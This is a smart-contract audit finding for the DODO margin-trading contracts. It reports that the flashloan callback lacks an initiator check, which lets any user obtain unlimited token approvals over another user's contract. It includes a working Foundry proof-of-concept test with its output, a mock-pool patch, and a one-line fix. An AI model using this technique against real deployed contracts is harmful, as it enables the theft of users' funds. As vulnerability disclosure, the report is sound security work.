carrotsmuggler

high

# All funds at risk due to insufficient checks in flashloan callback

## Summary

Funds can be stolen from another user's account due to insufficient checks during flashloan callback.

## Vulnerability Detail

The contract has functionality to deposit and withdraw funds into aave, and it also has the functionality to transfer funds to the contract, but not deposit them. This is demonstrated by the existence of the `margin` flag, which suggests that if margin flag is false, the contract changes it's own balance, showing that the contract is meant to control some funds.

https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L203-L214

The issue here is that any funds in the contract can be stolen by another user. This is due to how the flashloan callback is programmed.

In the flashloan callback, the `executeOperation` function, the contract hands out some approvals to the passed router address, does some external calls, and carries out some repay/withdraws. But this function never checks who initiated the flashloan in the first place. Thus if a random user initiates an aave flashloan, and sends the contract address of this contract as the `receiverAddress`, then the lending pool actually calls the `executeOperation` of this contract, and there aer no checks to stop it.

In the aave contract, It takes a parameter param, which has another parameter called `receiverAddress`, which is the target for the flashloan callback.

```solidity
function executeFlashLoan(
    mapping(address => DataTypes.ReserveData) storage reservesData,
    mapping(uint256 => address) storage reservesList,
    mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories,
    DataTypes.UserConfigurationMap storage userConfig,
    DataTypes.FlashloanParams memory params
  ) external {
    // ...
    vars.receiver = IFlashLoanReceiver(params.receiverAddress); //@audit receiver sent as parameter
    // ...
    require( //@audit receiver is target of flashloan callback
      vars.receiver.executeOperation(
        params.assets,
        params.amounts,
        vars.totalPremiums,
        msg.sender,
        params.params
      ),
      Errors.INVALID_FLASHLOAN_EXECUTOR_RETURN
    );
```

Thus if a malicious contract A initiates the flashloan, but it passes the address of contract B, which is a margin trading contract, as the callback address, then all checks will pass and the contract B (victim) will carry out the `executeOperation` function. This is because the only access control in the callback function is `onlyLendingPool`, which only makes sure that the msg.sender is the lending pool contract, which in this case, it is!

In `executeOperation`, the contract gives unlimited approval to an address passed as a parameter, thus the attacker can pass there any address, and get unlimited approvals for all tokens, and later drain the contract.

https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L264-L272

## Impact

Draining of margin trading contract's assets.

## Code Snippet

The attack can be carried out as shown in the POC attached below. It follows the following steps:

1. Normal setup and funding by user1 (victim). This part is copied from the test `testExecuteFlashLoansOpen`
2. user2 (Attacker) initiates a flashloan to the lending pool and passes the margin contract address as the receiver.
3. The allowance given to the dodoApprove contract is checked before and after step 2. It is 0 before, and 2^256-1 after. The attacker can always change the dodoApprove address and instead pass the address of some other malicious contract, which can then drain the funds from the victim's account. The dodoApprove address is used here for simplicity.

```solidity
function testAttack() public {
    faucet(address(dai), user1, 100 ether);
    faucetWeth(address(lendingPoolV2), 10000 ether);
    uint256 depositAmt = 100 ether;
    uint256 borrowAmt = 1 ether;
    vm.startPrank(user1);
    address _marginTrading = createMarginTradingContract();
    bytes memory swapParams = getSwapCalldata(
        address(weth),
        address(dai),
        borrowAmt
    );
    bytes memory executeParams;
    {
        address[] memory _withdrawAssets = new address[](1);
        uint256[] memory _withdrawAmounts = new uint256[](1);
        uint256[] memory _rateMode = new uint256[](1);
        address[] memory _debtTokens = new address[](1);
        address[] memory _swapApproveToken = new address[](1);
        _swapApproveToken[0] = address(weth);
        address[] memory _tradeAssets = new address[](1);
        _tradeAssets[0] = address(dai);
        executeParams = encodeExecuteParams(
            1,
            address(router),
            address(dodoApprove),
            _swapApproveToken,
            swapParams,
            _tradeAssets,
            _withdrawAssets,
            _withdrawAmounts,
            _rateMode,
            _debtTokens
        );
    }
    address[] memory _assets = new address[](1);
    _assets[0] = address(weth);
    uint256[] memory _amounts = new uint256[](1);
    _amounts[0] = borrowAmt;
    uint256[] memory _modes = new uint256[](1);
    _modes[0] = 1;
    address _mainToken = address(weth);
    marginTradingFactory.depositMarginTradingERC20(
        _marginTrading,
        address(dai),
        depositAmt,
        true,
        1
    );
    vm.stopPrank();

    // USER 2 ATTACKING USER 1's CONTRACT
    vm.startPrank(user2);
    // check allowance
    uint256 allowanceBefore = weth.allowance(
        _marginTrading,
        address(dodoApprove)
    );
    emit log_named_uint("allowanceBefore", allowanceBefore);
    lendingPoolV2.flashLoan(
        _marginTrading,
        _assets,
        _amounts,
        _modes,
        _marginTrading,
        executeParams,
        0
    );
    uint256 allowanceAfter = weth.allowance(
        _marginTrading,
        address(dodoApprove)
    );
    emit log_named_uint("allowanceAfter", allowanceAfter);
}
```

The output in the terminal shows:

```bash
Running 1 test for test/marginTrading/MarginTrading.t.sol:MarginTradingTest
[PASS] testAttack() (gas: 544159)
Logs:
  allowanceBefore: 0
  allowanceAfter: 115792089237316195423570985008687907853269984665640564039457584007913129639935

Test result: ok. 1 passed; 0 failed; finished in 5.92ms
```

This POC shows that even though user2 does not own the margin contract, they can initiate a transaction which changes the allowance to some external contract, which can be malicious.

To run this POC, a small change needs to be done on the mock lending pool contract. This is because unlike the actual aave contracts, the mock contracts callback on the `msg.sender` and not on the passed address.

```diff
diff --git a/dodo-margin-trading-contracts/contracts/mock/MockLendingPoolV2.sol b/dodo-margin-trading-contracts/contracts/mock/MockLendingPoolV2.sol
index 8f0d425..d8b4fd4 100644
--- a/dodo-margin-trading-contracts/contracts/mock/MockLendingPoolV2.sol
+++ b/dodo-margin-trading-contracts/contracts/mock/MockLendingPoolV2.sol
@@ -126,7 +126,7 @@ contract MockLendingPoolV2 {
         }
         MockERC20(assets[0]).transfer(onBehalfOf, amounts[0]);

-        IFlashLoanReceiver(msg.sender).executeOperation(assets, amounts, _premiums, msg.sender, params);
+        IFlashLoanReceiver(receiverAddress).executeOperation(assets, amounts, _premiums, msg.sender, params);

         if (modes[0] == 0) {
             MockERC20(assets[0]).transferFrom(onBehalfOf, address(this), borrowAmounts);
```

## Tool used

Foundry

## Recommendation

Check the `_initiator` address which is also passed into the `executeOperation` function. Make sure the initiator is the same contract.

```solidity
require(msg.sender == _initiator, "INVALID_INITIATOR");
```
